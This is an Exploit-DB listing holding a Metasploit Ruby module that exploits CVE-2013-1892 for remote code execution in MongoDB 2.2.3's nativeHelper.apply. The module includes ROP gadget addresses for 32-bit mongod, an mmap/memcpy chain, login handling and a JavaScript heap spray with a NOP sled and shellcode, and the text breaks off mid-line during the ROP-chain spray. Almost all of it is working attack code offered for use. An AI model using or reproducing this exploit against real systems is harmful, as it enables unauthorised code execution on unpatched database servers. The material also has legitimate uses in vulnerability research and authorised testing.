Exploit-DB #24935
Description: MongoDB - nativeHelper.apply Remote Code Execution (Metasploit)
Type: remote
Platform: linux
Date: 2013-04-08
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info={})
    super(update_info(info,
      'Name'         => 'MongoDB nativeHelper.apply Remote Code Execution',
      'Description'  => %q{
          This module exploit a the nativeHelper feature from spiderMonkey which allows to
        to control execution by calling it wit specially crafted arguments. This module
        has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.
      },
      'Author'         =>
        [
          'agix' # @agixid # Vulnerability discovery and Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-1892' ],
          [ 'OSVDB', '91632' ],
          [ 'BID', '58695' ],
          [ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]
        ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Linux - mongod 2.2.3 - 32bits',
            {
              'Arch' => ARCH_X86,
              'mmap' => [
                  0x0816f768,  # mmap64@plt # from mongod
                  0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod
                  0x31337000,
                  0x00002000,
                  0x00000007,
                  0x00000031,
                  0xffffffff,
                  0x00000000,
                  0x00000000,
                  0x0816e4c8,  # memcpy@plt # from mongod
                  0x31337000,
                  0x31337000,
                  0x0c0b0000,
                  0x00002000
              ],
              'ret'     => 0x08055a70, # ret # from mongod
              'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
              # These gadgets need to be composed with bytes < 0x80
              'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
              'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
              'gadget4' => 0x08055a6c, # pop eax / ret
              'gadget5' => 0x08457158  # xchg esp,eax
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Mar 24 2013',
      'License'      => MSF_LICENSE
    ))

    register_options(
      [
        Opt::RPORT(27017),
        OptString.new('DB', [ true, "Database to use", "admin"]),
        OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]),
        OptString.new('USERNAME', [ false, "Login to use", ""]),
        OptString.new('PASSWORD', [ false, "Password to use", ""])
      ], self.class)
  end

  def exploit
    begin
      connect
      if require_auth?
        print_status("Mongo server #{datastore['RHOST']} use authentication...")
        if !datastore['USERNAME'] || !datastore['PASSWORD']
          disconnect
          fail_with(Exploit::Failure::BadConfig, "USERNAME and PASSWORD must be provided")
        end
        if do_login==0
          disconnect
          fail_with(Exploit::Failure::NoAccess, "Authentication failed")
        end
      else
        print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")
      end

      if datastore['COLLECTION'] && datastore['COLLECTION'] != ""
        collection = datastore['COLLECTION']
      else
        collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')
        if read_only?(collection)
          disconnect
          fail_with(Exploit::Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")
        else
          print_good("New document created in collection #{collection}")
        end
      end

      print_status("Let's exploit, heap spray could take some time...")
      my_target = target
      shellcode = Rex::Text.to_unescape(payload.encoded)
      mmap = my_target['mmap'].pack("V*")
      ret = [my_target['ret']].pack("V*")
      gadget1 = "0x#{my_target['gadget1'].to_s(16)}"
      gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V"))
      gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V"))
      gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V"))
      gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V"))

      shellcode_var="a"+Rex::Text.rand_text_hex(4)
      sizechunk_var="b"+Rex::Text.rand_text_hex(4)
      chunk_var="c"+Rex::Text.rand_text_hex(4)
      i_var="d"+Rex::Text.rand_text_hex(4)
      array_var="e"+Rex::Text.rand_text_hex(4)

      ropchain_var="f"+Rex::Text.rand_text_hex(4)
      chunk2_var="g"+Rex::Text.rand_text_hex(4)
      array2_var="h"+Rex::Text.rand_text_hex(4)

      # nopsled + shellcode heapspray
      payload_js = shellcode_var+'=unescape("'+shellcode+'");'
      payload_js << sizechunk_var+'=0x1000;'
      payload_js << chunk_var+'="";'
      payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } '
      payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));'
      payload_js << array_var+'=new Array();'
      payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } '

      # retchain + ropchain heapspray
      payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");'
      payload_js << chunk2_var+'="";'
      payload_js << 'for('+i_var+'=0;'+i_v